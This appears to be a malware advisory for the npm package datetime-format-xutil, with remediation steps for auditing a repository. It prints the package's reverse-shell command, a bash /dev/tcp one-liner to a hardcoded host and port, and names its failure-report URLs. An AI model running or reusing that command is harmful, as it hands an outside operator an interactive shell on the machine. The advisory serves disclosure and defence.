MAL-2026-13936 Malicious code in datetime-format-xutil (npm)
Malicious package
Published
MAL-2026-13936 is a malicious package: datetime-format-xutil (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-13936/ (Markdown: https://insights.sbomify.com/MAL-2026-13936/index.md)
- Package
- datetime-format-xutil
- Registry
- npm
What is MAL-2026-13936?
MAL-2026-13936 is a malicious package in datetime-format-xutil, published on 13 Aug 2026.
Official description
The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with
bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.What should I do about MAL-2026-13936?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.